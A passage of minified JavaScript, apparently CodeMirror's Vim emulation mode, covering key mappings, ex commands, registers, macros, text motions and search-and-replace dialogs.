enterMacroRecordMode"},{keys:"R",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{replace:!0},context:"normal"},{keys:"R",type:"operator",operator:"change",operatorArgs:{linewise:!0,fullLine:!0},context:"visual",exitVisualBlock:!0},{keys:"u",type:"action",action:"undo",context:"normal"},{keys:"u",type:"operator",operator:"changeCase",operatorArgs:{toLower:!0},context:"visual",isEdit:!0},{keys:"U",type:"operator",operator:"changeCase",operatorArgs:{toLower:!1},context:"visual",isEdit:!0},{keys:"<C-r>",type:"action",action:"redo"},{keys:"m<character>",type:"action",action:"setMark"},{keys:'"<character>',type:"action",action:"setRegister"},{keys:"zz",type:"action",action:"scrollToCursor",actionArgs:{position:"center"}},{keys:"z.",type:"action",action:"scrollToCursor",actionArgs:{position:"center"},motion:"moveToFirstNonWhiteSpaceCharacter"},{keys:"zt",type:"action",action:"scrollToCursor",actionArgs:{position:"top"}},{keys:"z<CR>",type:"action",action:"scrollToCursor",actionArgs:{position:"top"},motion:"moveToFirstNonWhiteSpaceCharacter"},{keys:"z-",type:"action",action:"scrollToCursor",actionArgs:{position:"bottom"}},{keys:"zb",type:"action",action:"scrollToCursor",actionArgs:{position:"bottom"},motion:"moveToFirstNonWhiteSpaceCharacter"},{keys:".",type:"action",action:"repeatLastEdit"},{keys:"<C-a>",type:"action",action:"incrementNumberToken",isEdit:!0,actionArgs:{increase:!0,backtrack:!1}},{keys:"<C-x>",type:"action",action:"incrementNumberToken",isEdit:!0,actionArgs:{increase:!1,backtrack:!1}},{keys:"<C-t>",type:"action",action:"indent",actionArgs:{indentRight:!0},context:"insert"},{keys:"<C-d>",type:"action",action:"indent",actionArgs:{indentRight:!1},context:"insert"},{keys:"a<character>",type:"motion",motion:"textObjectManipulation"},{keys:"i<character>",type:"motion",motion:"textObjectManipulation",motionArgs:{textObjectInner:!0}},{keys:"/",type:"search",searchArgs:{forward:!0,querySrc:"prompt",toJumplist:!0}},{keys:"?",type:"search",searchArgs:{forward:!1,querySrc:"prompt",toJumplist:!0}},{keys:"*",type:"search",searchArgs:{forward:!0,querySrc:"wordUnderCursor",wholeWordOnly:!0,toJumplist:!0}},{keys:"#",type:"search",searchArgs:{forward:!1,querySrc:"wordUnderCursor",wholeWordOnly:!0,toJumplist:!0}},{keys:"g*",type:"search",searchArgs:{forward:!0,querySrc:"wordUnderCursor",toJumplist:!0}},{keys:"g#",type:"search",searchArgs:{forward:!1,querySrc:"wordUnderCursor",toJumplist:!0}},{keys:":",type:"ex"}],c=b.length,d=[{name:"colorscheme",shortName:"colo"},{name:"map"},{name:"imap",shortName:"im"},{name:"nmap",shortName:"nm"},{name:"vmap",shortName:"vm"},{name:"unmap"},{name:"write",shortName:"w"},{name:"undo",shortName:"u"},{name:"redo",shortName:"red"},{name:"set",shortName:"se"},{name:"setlocal",shortName:"setl"},{name:"setglobal",shortName:"setg"},{name:"sort",shortName:"sor"},{name:"substitute",shortName:"s",possiblyAsync:!0},{name:"nohlsearch",shortName:"noh"},{name:"yank",shortName:"y"},{name:"delmarks",shortName:"delm"},{name:"registers",shortName:"reg",excludeFromCommandHistory:!0},{name:"global",shortName:"g"}],e=a.Pos;a.Vim=(function(){function
f(b){b.setOption("disableInput",!0),b.setOption("showCursorWhenSelecting",!1),a.signal(b,"vim-mode-change",{mode:"normal"}),b.on("cursorActivity",kb),D(b),a.on(b.getInputField(),"paste",p(b))}function
g(b){b.setOption("disableInput",!1),b.off("cursorActivity",kb),a.off(b.getInputField(),"paste",p(b)),b.state.vim=null}function
h(b,c){this==a.keyMap.vim&&(a.rmClass(b.getWrapperElement(),"cm-fat-cursor"),"contenteditable"==b.getOption("inputStyle")&&null!=document.body.style.caretColor&&(m(b),b.getInputField().style.caretColor="")),c&&c.attach==i||g(b)}function
i(b,c){this==a.keyMap.vim&&(a.addClass(b.getWrapperElement(),"cm-fat-cursor"),"contenteditable"==b.getOption("inputStyle")&&null!=document.body.style.caretColor&&(l(b),b.getInputField().style.caretColor="transparent")),c&&c.attach==i||f(b)}function
j(a){if(a.state.fatCursorMarks){k(a);for(var
b=a.listSelections(),c=[],d=0;d<b.length;d++){var
f=b[d];if(f.empty()){var
g=a.getLine(f.anchor.line).length;f.anchor.ch<g?c.push(a.markText(f.anchor,e(f.anchor.line,f.anchor.ch+1),{className:"cm-fat-cursor-mark"})):c.push(a.markText(e(f.anchor.line,g-1),e(f.anchor.line,g),{className:"cm-fat-cursor-mark"}))}}a.state.fatCursorMarks=c}}function
k(a){var b=a.state.fatCursorMarks;if(b)for(var
c=0;c<b.length;c++)b[c].clear()}function
l(a){a.state.fatCursorMarks=[],j(a),a.on("cursorActivity",j)}function
m(a){k(a),a.off("cursorActivity",j),a.state.fatCursorMarks=null}function
n(b,c){if(c){if(this[b])return this[b];var d=o(b);if(!d)return!1;var
e=a.Vim.findKey(c,d);return"function"==typeof
e&&a.signal(c,"vim-keypress",d),e}}function
o(a){if("'"==a.charAt(0))return a.charAt(1);var
b=a.split(/-(?!$)/),c=b[b.length-1];if(1==b.length&&1==b[0].length)return!1;if(2==b.length&&"Shift"==b[0]&&1==c.length)return!1;for(var
d=!1,e=0;e<b.length;e++){var f=b[e];f in sb?b[e]=sb[f]:d=!0,f in
tb&&(b[e]=tb[f])}return!!d&&(v(c)&&(b[b.length-1]=c.toLowerCase()),"<"+b.join("-")+">")}function
p(a){var b=a.state.vim;return
b.onPasteFn||(b.onPasteFn=function(){b.insertMode||(a.setCursor(R(a.getCursor(),0,1)),Lb.enterInsertMode(a,{},b))}),b.onPasteFn}function
q(a,b){for(var c=[],d=a;d<a+b;d++)c.push(String.fromCharCode(d));return
c}function r(a,b){return
b>=a.firstLine()&&b<=a.lastLine()}function
s(a){return/^[a-z]$/.test(a)}function
t(a){return-1!="()[]{}".indexOf(a)}function u(a){return
ub.test(a)}function v(a){return/^[A-Z]$/.test(a)}function
w(a){return/^\s*$/.test(a)}function
x(a){return-1!=".?!".indexOf(a)}function y(a,b){for(var
c=0;c<b.length;c++)if(b[c]==a)return!0;return!1}function
z(a,b,c,d,e){if(void 0===b&&!e)throw Error("defaultValue is
required unless callback is
provided");if(c||(c="string"),Cb[a]={type:c,defaultValue:b,callback:e},d)for(var
f=0;f<d.length;f++)Cb[d[f]]=Cb[a];b&&A(a,b)}function
A(a,b,c,d){var e=Cb[a];d=d||{};var f=d.scope;if(!e)return new
Error("Unknown option:
"+a);if("boolean"==e.type){if(b&&!0!==b)return new
Error("Invalid argument:
"+a+"="+b);!1!==b&&(b=!0)}e.callback?("local"!==f&&e.callback(b,void
0),"global"!==f&&c&&e.callback(b,c)):("local"!==f&&(e.value="boolean"==e.type?!!b:b),"global"!==f&&c&&(c.state.vim.options[a]={value:b}))}function
B(a,b,c){var d=Cb[a];c=c||{};var e=c.scope;if(!d)return new
Error("Unknown option: "+a);{if(!d.callback){var
f="global"!==e&&b&&b.state.vim.options[a];return(f||"local"!==e&&d||{}).value}var
f=b&&d.callback(void 0,b);if("global"!==e&&void
0!==f)return f;if("local"!==e)return d.callback()}}function
C(){this.latestRegister=void
0,this.isPlaying=!1,this.isRecording=!1,this.replaySearchQueries=[],this.onRecordingDone=void
0,this.lastInsertModeChanges=Eb()}function D(a){return
a.state.vim||(a.state.vim={inputState:new F,lastEditInputState:void
0,lastEditActionCommand:void
0,lastHPos:-1,lastHSPos:-1,lastMotion:null,marks:{},fakeCursor:null,insertMode:!1,insertModeRepeat:void
0,visualMode:!1,visualLine:!1,visualBlock:!1,lastSelection:null,lastPastedText:null,sel:{},options:{}}),a.state.vim}function
E(){Fb={searchQuery:null,searchIsReversed:!1,lastSubstituteReplacePart:void
0,jumpList:Db(),macroModeState:new
C,lastCharacterSearch:{increment:0,forward:!0,selectedCharacter:""},registerController:new
J({}),searchHistoryController:new K,exCommandHistoryController:new
K};for(var a in Cb){var b=Cb[a];b.value=b.defaultValue}}function
F(){this.prefixRepeat=[],this.motionRepeat=[],this.operator=null,this.operatorArgs=null,this.motion=null,this.motionArgs=null,this.keyBuffer=[],this.registerName=null}function
G(b,c){b.state.vim.inputState=new
F,a.signal(b,"vim-command-done",c)}function
H(a,b,c){this.clear(),this.keyBuffer=[a||""],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!!b,this.blockwise=!!c}function
I(a,b){var c=Fb.registerController.registers;if(!a||1!=a.length)throw
Error("Register name must be 1 character");if(c[a])throw
Error("Register already defined "+a);c[a]=b,Bb.push(a)}function
J(a){this.registers=a,this.unnamedRegister=a['"']=new
H,a["."]=new H,a[":"]=new H,a["/"]=new
H}function
K(){this.historyBuffer=[],this.iterator=0,this.initialPrefix=null}function
L(a,b){Jb[a]=b}function M(a,b){for(var c=[],d=0;d<b;d++)c.push(a);return
c}function N(a,b){Kb[a]=b}function O(a,b){Lb[a]=b}function P(a,b){var
c=a.state.vim,d=c.insertMode||c.visualMode,f=Math.min(Math.max(a.firstLine(),b.line),a.lastLine()),g=aa(a,f)-1+!!d,h=Math.min(Math.max(0,b.ch),g);return
e(f,h)}function Q(a){var b={};for(var c in
a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}function
R(a,b,c){return"object"==typeof
b&&(c=b.ch,b=b.line),e(a.line+b,a.ch+c)}function S(a,b,c,d){for(var
e,f=[],g=[],h=0;h<b.length;h++){var
i=b[h];"insert"==c&&"insert"!=i.context||i.context&&i.context!=c||d.operator&&"action"==i.type||!(e=T(a,i.keys))||("partial"==e&&f.push(i),"full"==e&&g.push(i))}return{partial:f.length&&f,full:g.length&&g}}function
T(a,b){if("<character>"==b.slice(-11)){var
c=b.length-11,d=a.slice(0,c),e=b.slice(0,c);return
d==e&&a.length>c?"full":0==e.indexOf(d)&&"partial"}return
a==b?"full":0==b.indexOf(a)&&"partial"}function
U(a){var
b=/^.*(<[^>]+>)$/.exec(a),c=b?b[1]:a.slice(-1);if(c.length>1)switch(c){case"<CR>":c="\n";break;case"<Space>":c="
";break;default:c=""}return c}function V(a,b,c){return
function(){for(var d=0;d<c;d++)b(a)}}function W(a){return
e(a.line,a.ch)}function X(a,b){return
a.ch==b.ch&&a.line==b.line}function Y(a,b){return
a.line<b.line||a.line==b.line&&a.ch<b.ch}function
Z(a,b){return arguments.length>2&&(b=Z.apply(void
0,Array.prototype.slice.call(arguments,1))),Y(a,b)?a:b}function
$(a,b){return arguments.length>2&&(b=$.apply(void
0,Array.prototype.slice.call(arguments,1))),Y(a,b)?b:a}function
_(a,b,c){var d=Y(a,b),e=Y(b,c);return d&&e}function aa(a,b){return
a.getLine(b).length}function ba(a){return
a.trim?a.trim():a.replace(/^\s+|\s+$/g,"")}function ca(a){return
a.replace(/([.?*+$\[\]\/\\(){}|\-])/g,"\\$1")}function
da(a,b,c){var d=aa(a,b),f=new Array(c-d+1).join("
");a.setCursor(e(b,d)),a.replaceRange(f,a.getCursor())}function
ea(a,b){var
c=[],d=a.listSelections(),f=W(a.clipPos(b)),g=!X(b,f),h=a.getCursor("head"),i=ga(d,h),j=X(d[i].head,d[i].anchor),k=d.length-1,l=k-i>i?k:0,m=d[l].anchor,n=Math.min(m.line,f.line),o=Math.max(m.line,f.line),p=m.ch,q=f.ch,r=d[l].head.ch-p,s=q-p;r>0&&s<=0?(p++,g||q--):r<0&&s>=0?(p--,j||q++):r<0&&-1==s&&(p--,q++);for(var
t=n;t<=o;t++){var u={anchor:new e(t,p),head:new e(t,q)};c.push(u)}return
a.setSelections(c),b.ch=q,m.ch=p,m}function fa(a,b,c){for(var
d=[],e=0;e<c;e++){var
f=R(b,e,0);d.push({anchor:f,head:f})}a.setSelections(d,0)}function
ga(a,b,c){for(var d=0;d<a.length;d++){var
e="head"!=c&&X(a[d].anchor,b),f="anchor"!=c&&X(a[d].head,b);if(e||f)return
d}return-1}function ha(a,b){var c=b.lastSelection;return
b.visualMode?(function(){var
b=a.listSelections(),c=b[0],d=b[b.length-1];return[Y(c.anchor,c.head)?c.anchor:c.head,Y(d.anchor,d.head)?d.head:d.anchor]})():(function(){var
b=a.getCursor(),d=a.getCursor(),f=c.visualBlock;if(f){var
g=f.width,h=f.height;d=e(b.line+h,b.ch+g);for(var
i=[],j=b.line;j<d.line;j++){var
k=e(j,b.ch),l=e(j,d.ch),m={anchor:k,head:l};i.push(m)}a.setSelections(i)}else{var
n=c.anchorMark.find(),o=c.headMark.find(),p=o.line-n.line,q=o.ch-n.ch;d={line:d.line+p,ch:p?d.ch:q+d.ch},c.visualLine&&(b=e(b.line,0),d=e(d.line,aa(a,d.line))),a.setSelection(b,d)}return[b,d]})()}function
ia(a,b){var
c=b.sel.anchor,d=b.sel.head;b.lastPastedText&&(d=a.posFromIndex(a.indexFromPos(c)+b.lastPastedText.length),b.lastPastedText=null),b.lastSelection={anchorMark:a.setBookmark(c),headMark:a.setBookmark(d),anchor:W(c),head:W(d),visualMode:b.visualMode,visualLine:b.visualLine,visualBlock:b.visualBlock}}function
ja(a,b,c){var d,f=a.state.vim.sel,g=f.head,h=f.anchor;return
Y(c,b)&&(d=c,c=b,b=d),Y(g,h)?(g=Z(b,g),h=$(h,c)):(h=Z(b,h),g=$(g,c),g=R(g,0,-1),-1==g.ch&&g.line!=a.firstLine()&&(g=e(g.line-1,aa(a,g.line-1)))),[h,g]}function
ka(a,b,c){var d=a.state.vim;b=b||d.sel;var
c=c||d.visualLine?"line":d.visualBlock?"block":"char",e=la(a,b,c);a.setSelections(e.ranges,e.primary),lb(a)}function
la(a,b,c,d){var f=W(b.head),g=W(b.anchor);if("char"==c){var
h=d||Y(b.head,b.anchor)?0:1,i=Y(b.head,b.anchor)?1:0;return
f=R(b.head,0,h),g=R(b.anchor,0,i),{ranges:[{anchor:g,head:f}],primary:0}}if("line"==c){if(Y(b.head,b.anchor))f.ch=0,g.ch=aa(a,g.line);else{g.ch=0;var
j=a.lastLine();f.line>j&&(f.line=j),f.ch=aa(a,f.line)}return{ranges:[{anchor:g,head:f}],primary:0}}if("block"==c){for(var
k=Math.min(g.line,f.line),l=Math.min(g.ch,f.ch),m=Math.max(g.line,f.line),n=Math.max(g.ch,f.ch)+1,o=m-k+1,p=f.line==k?0:o-1,q=[],r=0;r<o;r++)q.push({anchor:e(k+r,l),head:e(k+r,n)});return{ranges:q,primary:p}}}function
ma(a){var b=a.getCursor("head");return
1==a.getSelection().length&&(b=Z(b,a.getCursor("anchor"))),b}function
na(b,c){var
d=b.state.vim;!1!==c&&b.setCursor(P(b,d.sel.head)),ia(b,d),d.visualMode=!1,d.visualLine=!1,d.visualBlock=!1,d.insertMode||a.signal(b,"vim-mode-change",{mode:"normal"}),mb(d)}function
oa(a,b,c){var d=a.getRange(b,c);if(/\n\s*$/.test(d)){var
e=d.split("\n");e.pop();for(var
f,f=e.pop();e.length>0&&f&&w(f);f=e.pop())c.line--,c.ch=0;f?(c.line--,c.ch=aa(a,c.line)):c.ch=0}}function
pa(a,b,c){b.ch=0,c.ch=0,c.line++}function qa(a){if(!a)return 0;var
b=a.search(/\S/);return-1==b?a.length:b}function ra(a,b,c,d,f){for(var
g=ma(a),h=a.getLine(g.line),i=g.ch,j=f?vb[0]:wb[0];!j(h.charAt(i));)if(++i>=h.length)return
null;d?j=wb[0]:(j=vb[0])(h.charAt(i))||(j=vb[1]);for(var
k=i,l=i;j(h.charAt(k))&&k<h.length;)k++;for(;j(h.charAt(l))&&l>=0;)l--;if(l++,b){for(var
m=k;/\s/.test(h.charAt(k))&&k<h.length;)k++;if(m==k){for(var
n=l;/\s/.test(h.charAt(l-1))&&l>0;)l--;l||(l=n)}}return{start:e(g.line,l),end:e(g.line,k)}}function
sa(a,b,c){X(b,c)||Fb.jumpList.add(a,b,c)}function
ta(a,b){Fb.lastCharacterSearch.increment=a,Fb.lastCharacterSearch.forward=b.forward,Fb.lastCharacterSearch.selectedCharacter=b.selectedCharacter}function
ua(a,b,c,d){var
f=W(a.getCursor()),g=c?1:-1,h=c?a.lineCount():-1,i=f.ch,j=f.line,k=a.getLine(j),l={lineText:k,nextCh:k.charAt(i),lastCh:null,index:i,symb:d,reverseSymb:(c?{")":"(","}":"{"}:{"(":")","{":"}"})[d],forward:c,depth:0,curMoveThrough:!1},m=Mb[d];if(!m)return
f;var
n=Nb[m].init,o=Nb[m].isComplete;for(n&&n(l);j!==h&&b;){if(l.index+=g,l.nextCh=l.lineText.charAt(l.index),!l.nextCh){if(j+=g,l.lineText=a.getLine(j)||"",g>0)l.index=0;else{var
p=l.lineText.length;l.index=p>0?p-1:0}l.nextCh=l.lineText.charAt(l.index)}o(l)&&(f.line=j,f.ch=l.index,b--)}return
l.nextCh||l.curMoveThrough?e(j,l.index):f}function va(a,b,c,d,e){var
f=b.line,g=b.ch,h=a.getLine(f),i=c?1:-1,j=d?wb:vb;if(e&&""==h){if(f+=i,h=a.getLine(f),!r(a,f))return
null;g=c?0:h.length}for(;;){if(e&&""==h)return{from:0,to:0,line:f};for(var
k=i>0?h.length:-1,l=k,m=k;g!=k;){for(var
n=!1,o=0;o<j.length&&!n;++o)if(j[o](h.charAt(g))){for(l=g;g!=k&&j[o](h.charAt(g));)g+=i;if(m=g,n=l!=m,l==b.ch&&f==b.line&&m==l+i)continue;return{from:Math.min(l,m+1),to:Math.max(l,m),line:f}}n||(g+=i)}if(f+=i,!r(a,f))return
null;h=a.getLine(f),g=i>0?0:h.length}}function wa(a,b,c,d,f,g){var
h=W(b),i=[];(d&&!f||!d&&f)&&c++;for(var
j=!(d&&f),k=0;k<c;k++){var l=va(a,b,d,g,j);if(!l){var
m=aa(a,a.lastLine());i.push(d?{line:a.lastLine(),from:m,to:m}:{line:0,from:0,to:0});break}i.push(l),b=e(l.line,d?l.to-1:l.from)}var
n=i.length!=c,o=i[0],p=i.pop();return
d&&!f?(n||o.from==h.ch&&o.line==h.line||(p=i.pop()),e(p.line,p.from)):d&&f?e(p.line,p.to-1):!d&&f?(n||o.to==h.ch&&o.line==h.line||(p=i.pop()),e(p.line,p.to)):e(p.line,p.from)}function
xa(a,b,c,d){for(var
f,g=a.getCursor(),h=g.ch,i=0;i<b;i++){if(-1==(f=Aa(h,a.getLine(g.line),d,c,!0)))return
null;h=f}return e(a.getCursor().line,f)}function ya(a,b){var
c=a.getCursor().line;return P(a,e(c,b-1))}function
za(a,b,c,d){y(c,Ab)&&(b.marks[c]&&b.marks[c].clear(),b.marks[c]=a.setBookmark(d))}function
Aa(a,b,c,d,e){var f;return
d?-1==(f=b.indexOf(c,a+1))||e||(f-=1):-1==(f=b.lastIndexOf(c,a-1))||e||(f+=1),f}function
Ba(a,b,c,d,f){function g(b){return!a.getLine(b)}function h(a,b,c){return
c?g(a)!=g(a+b):!g(a)&&g(a+b)}var
i,j,k=b.line,l=a.firstLine(),m=a.lastLine(),n=k;if(d){for(;l<=n&&n<=m&&c>0;)h(n,d)&&c--,n+=d;return
new e(n,0)}var o=a.state.vim;if(o.visualLine&&h(k,1,!0)){var
p=o.sel.anchor;h(p.line,-1,!0)&&(f&&p.line==k||(k+=1))}var
q=g(k);for(n=k;n<=m&&c;n++)h(n,1,!0)&&(f&&g(n)==q||c--);for(j=new
e(n,0),n>m&&!q?q=!0:f=!1,n=k;n>l&&(f&&g(n)!=q&&n!=k||!h(n,-1,!0));n--);return
i=new e(n,0),{start:i,end:j}}function Ca(a,b,c,d){function
f(a,b){if(b.pos+b.dir<0||b.pos+b.dir>=b.line.length){if(b.ln+=b.dir,!r(a,b.ln))return
b.line=null,b.ln=null,void(b.pos=null);b.line=a.getLine(b.ln),b.pos=b.dir>0?0:b.line.length-1}else
b.pos+=b.dir}for(var
g={ln:b.line,pos:b.ch};c>0;)g=d<0?(function(a,b,c,d){var
e=a.getLine(b),g={line:e,ln:b,pos:c,dir:d},h={ln:g.ln,pos:null},i=""===g.line;for(f(a,g);null!==g.line;){if(""===g.line&&!i)return
null!==h.pos?h:{ln:g.ln,pos:g.pos};if(x(g.line[g.pos])&&null!==h.pos&&(g.ln!==h.ln||g.pos+1!==h.pos))return
h;""===g.line||w(g.line[g.pos])||(i=!1,h={ln:g.ln,pos:g.pos}),f(a,g)}var
e=a.getLine(h.ln);h.pos=0;for(var
j=0;j<e.length;++j)if(!w(e[j])){h.pos=j;break}return
h})(a,g.ln,g.pos,d):(function(a,b,c,d){var
e=a.getLine(b),g=""===e,h={line:e,ln:b,pos:c,dir:d},i={ln:h.ln,pos:h.pos},j=""===h.line;for(f(a,h);null!==h.line;){if(i.ln=h.ln,i.pos=h.pos,""===h.line&&!j)return{ln:h.ln,pos:h.pos};if(g&&""!==h.line&&!w(h.line[h.pos]))return{ln:h.ln,pos:h.pos};!x(h.line[h.pos])||g||h.pos!==h.line.length-1&&!w(h.line[h.pos+1])||(g=!0),f(a,h)}var
e=a.getLine(i.ln);i.pos=0;for(var
k=e.length-1;k>=0;--k)if(!w(e[k])){i.pos=k;break}return
i})(a,g.ln,g.pos,d),c--;return e(g.ln,g.pos)}function Da(a,b,c,d){var
f,g,h=b,i={"(":/[()]/,")":/[()]/,"[":/[[\]]/,"]":/[[\]]/,"{":/[{}]/,"}":/[{}]/,"<":/[<>]/,">":/[<>]/}[c],j={"(":"(",")":"(","[":"[","]":"[","{":"{","}":"{","<":"<",">":"<"}[c],k=a.getLine(h.line).charAt(h.ch),l=k===j?1:0;if(f=a.scanForBracket(e(h.line,h.ch+l),-1,void
0,{bracketRegex:i}),g=a.scanForBracket(e(h.line,h.ch+l),1,void
0,{bracketRegex:i}),!f||!g)return{start:h,end:h};if(f=f.pos,g=g.pos,f.line==g.line&&f.ch>g.ch||f.line>g.line){var
m=f;f=g,g=m}return d?g.ch+=1:f.ch+=1,{start:f,end:g}}function
Ea(a,b,c,d){var
f,g,h,i,j=W(b),k=a.getLine(j.line),l=k.split(""),m=l.indexOf(c);if(j.ch<m?j.ch=m:m<j.ch&&l[j.ch]==c&&(g=j.ch,--j.ch),l[j.ch]!=c||g)for(h=j.ch;h>-1&&!f;h--)l[h]==c&&(f=h+1);else
f=j.ch+1;if(f&&!g)for(h=f,i=l.length;h<i&&!g;h++)l[h]==c&&(g=h);return
f&&g?(d&&(--f,++g),{start:e(j.line,f),end:e(j.line,g)}):{start:j,end:j}}function
Fa(){}function Ga(a){var b=a.state.vim;return
b.searchState_||(b.searchState_=new Fa)}function
Ha(a,b,c,d,e){a.openDialog?a.openDialog(b,d,{bottom:!0,value:e.value,onKeyDown:e.onKeyDown,onKeyUp:e.onKeyUp,selectValueOnOpen:!1}):d(prompt(c,""))}function
Ia(a){return Ka(a,"/")}function Ja(a){return
La(a,"/")}function Ka(a,b){var
c=La(a,b)||[];if(!c.length)return[];var d=[];if(0===c[0]){for(var
e=0;e<c.length;e++)"number"==typeof
c[e]&&d.push(a.substring(c[e]+1,c[e+1]));return d}}function
La(a,b){b||(b="/");for(var c=!1,d=[],e=0;e<a.length;e++){var
f=a.charAt(e);c||f!=b||d.push(e),c=!c&&"\\"==f}return
d}function Ma(a){for(var
b="|(){",c="}",d=!1,e=[],f=-1;f<a.length;f++){var
g=a.charAt(f)||"",h=a.charAt(f+1)||"",i=h&&-1!=b.indexOf(h);d?("\\"===g&&i||e.push(g),d=!1):"\\"===g?(d=!0,h&&-1!=c.indexOf(h)&&(i=!0),i&&"\\"!==h||e.push(g)):(e.push(g),i&&"\\"!==h&&e.push("\\"))}return
e.join("")}function Na(a){for(var
b=!1,c=[],d=-1;d<a.length;d++){var
e=a.charAt(d)||"",f=a.charAt(d+1)||"";Ob[e+f]?(c.push(Ob[e+f]),d++):b?(c.push(e),b=!1):"\\"===e?(b=!0,u(f)||"$"===f?c.push("$"):"/"!==f&&"\\"!==f&&c.push("\\")):("$"===e&&c.push("$"),c.push(e),"/"===f&&c.push("\\"))}return
c.join("")}function Oa(b){for(var c=new
a.StringStream(b),d=[];!c.eol();){for(;c.peek()&&"\\"!=c.peek();)d.push(c.next());var
e=!1;for(var f in
Pb)if(c.match(f,!0)){e=!0,d.push(Pb[f]);break}e||d.push(c.next())}return
d.join("")}function
Pa(a,b,c){if(Fb.registerController.getRegister("/").setText(a),a
instanceof RegExp)return a;var
d,e,f=Ja(a);if(f.length){d=a.substring(0,f[0]);e=-1!=a.substring(f[0]).indexOf("i")}else
d=a;return
d?(B("pcre")||(d=Ma(d)),c&&(b=/^[^A-Z]*$/.test(d)),new
RegExp(d,b||e?"i":void 0)):null}function
Qa(a,b){a.openNotification?a.openNotification('<span
style="color:
red">'+b+"</span>",{bottom:!0,duration:5e3}):alert(b)}function
Ra(a,b){var c='<span style="font-family: monospace;
white-space: pre">'+(a||"")+'<input
type="text" autocorrect="off"
autocapitalize="off"
spellcheck="false"></span>';return
b&&(c+=' <span style="color:
#888">'+b+"</span>"),c}function Sa(a,b){var
c=(b.prefix||"")+"
"+(b.desc||"");Ha(a,Ra(b.prefix,b.desc),c,b.onClose,b)}function
Ta(a,b){if(a instanceof RegExp&&b instanceof RegExp){for(var
c=["global","multiline","ignoreCase","source"],d=0;d<c.length;d++){var
e=c[d];if(a[e]!==b[e])return!1}return!0}return!1}function
Ua(a,b,c,d){if(b){var e=Ga(a),f=Pa(b,!!c,!!d);if(f)return
Wa(a,f),Ta(f,e.getQuery())?f:(e.setQuery(f),f)}}function
Va(a){if("^"==a.source.charAt(0))var
b=!0;return{token:function(c){if(b&&!c.sol())return void
c.skipToEnd();var d=c.match(a,!1);if(d)return
0==d[0].length?(c.next(),"searching"):c.sol()||(c.backUp(1),a.exec(c.next()+d[0]))?(c.match(a),"searching"):(c.next(),null);for(;!c.eol()&&(c.next(),!c.match(a,!1)););},query:a}}function
Wa(a,b){clearTimeout(Rb),
Rb=setTimeout((function(){var
c=Ga(a),d=c.getOverlay();d&&b==d.query||(d&&a.removeOverlay(d),d=Va(b),a.addOverlay(d),a.showMatchesOnScrollbar&&(c.getScrollbarAnnotate()&&c.getScrollbarAnnotate().clear(),c.setScrollbarAnnotate(a.showMatchesOnScrollbar(b))),c.setOverlay(d))}),50)}function
Xa(a,b,c,d){return void
0===d&&(d=1),a.operation((function(){for(var
f=a.getCursor(),g=a.getSearchCursor(c,f),h=0;h<d;h++){var
i=g.find(b);if(0==h&&i&&X(g.from(),f)&&(i=g.find(b)),!i&&(g=a.getSearchCursor(c,b?e(a.lastLine()):e(a.firstLine(),0)),!g.find(b)))return}return
g.from()}))}function Ya(a){var
b=Ga(a);a.removeOverlay(Ga(a).getOverlay()),b.setOverlay(null),b.getScrollbarAnnotate()&&(b.getScrollbarAnnotate().clear(),b.setScrollbarAnnotate(null))}function
Za(a,b,c){return"number"!=typeof a&&(a=a.line),b
instanceof Array?y(a,b):c?a>=b&&a<=c:a==b}function $a(a){var
b=a.getScrollInfo(),c=a.coordsChar({left:0,top:6+b.top},"local"),d=b.clientHeight-10+b.top,e=a.coordsChar({left:0,top:d},"local");return{top:c.line,bottom:e.line}}function
_a(a,b,c){if("'"==c||"`"==c)return
Fb.jumpList.find(a,-1)||e(0,0);if("."==c)return ab(a);var
d=b.marks[c];return d&&d.find()}function ab(a){for(var
b=a.doc.history.done,c=b.length;c--;)if(b[c].changes)return
W(b[c].changes[0].to)}function bb(b,c,d,e,f,g,h,i,j){function
k(){b.operation((function(){for(;!p;)l(),m();n()}))}function l(){var
a=b.getRange(g.from(),g.to()),c=a.replace(h,i);g.replace(c)}function
m(){for(;g.findNext()&&Za(g.from(),e,f);)if(d||!q||g.from().line!=q.line)return
b.scrollIntoView(g.from(),30),b.setSelection(g.from(),g.to()),q=g.from(),void(p=!1);p=!0}function
n(a){if(a&&a(),b.focus(),q){b.setCursor(q);var
c=b.state.vim;c.exMode=!1,c.lastHPos=c.lastHSPos=q.ch}j&&j()}function
o(c,d,e){switch(a.e_stop(c),a.keyName(c)){case"Y":l(),m();break;case"N":m();break;case"A":var
f=j;j=void
0,b.operation(k),j=f;break;case"L":l();case"Q":case"Esc":case"Ctrl-C":case"Ctrl-[":n(e)}return
p&&n(e),!0}b.state.vim.exMode=!0;var p=!1,q=g.from();return
m(),p?void Qa(b,"No matches for "+h.source):c?void
Sa(b,{prefix:"replace with
<strong>"+i+"</strong>
(y/n/a/q/l)",onKeyDown:o}):(k(),void(j&&j()))}function
cb(b){var
c=b.state.vim,d=Fb.macroModeState,e=Fb.registerController.getRegister("."),f=d.isPlaying,g=d.lastInsertModeChanges;f||(b.off("change",jb),a.off(b.getInputField(),"keydown",pb)),!f&&c.insertModeRepeat>1&&(qb(b,c,c.insertModeRepeat-1,!0),c.lastEditInputState.repeatOverride=c.insertModeRepeat),delete
c.insertModeRepeat,c.insertMode=!1,b.setCursor(b.getCursor().line,b.getCursor().ch-1),b.setOption("keyMap","vim"),b.setOption("disableInput",!0),b.toggleOverwrite(!1),e.setText(g.changes.join("")),a.signal(b,"vim-mode-change",{mode:"normal"}),d.isRecording&&hb(d)}function
db(a){b.unshift(a)}function eb(a,b,c,d,e){var
f={keys:a,type:b};f[b]=c,f[b+"Args"]=d;for(var g in
e)f[g]=e[g];db(f)}function fb(b,c,d,e){var
f=Fb.registerController.getRegister(e);if(":"==e)return
f.keyBuffer[0]&&Ub.processCommand(b,f.keyBuffer[0]),void(d.isPlaying=!1);var
g=f.keyBuffer,h=0;d.isPlaying=!0,d.replaySearchQueries=f.searchQueries.slice(0);for(var
i=0;i<g.length;i++)for(var
j,k,l=g[i];l;)if(j=/<\w+-.+?>|<\w+>|./.exec(l),k=j[0],l=l.substring(j.index+k.length),a.Vim.handleKey(b,k,"macro"),c.insertMode){var
m=f.insertModeChanges[h++].changes;Fb.macroModeState.lastInsertModeChanges.changes=m,rb(b,m,1),cb(b)}d.isPlaying=!1}function
gb(a,b){if(!a.isPlaying){var
c=a.latestRegister,d=Fb.registerController.getRegister(c);d&&d.pushText(b)}}function
hb(a){if(!a.isPlaying){var
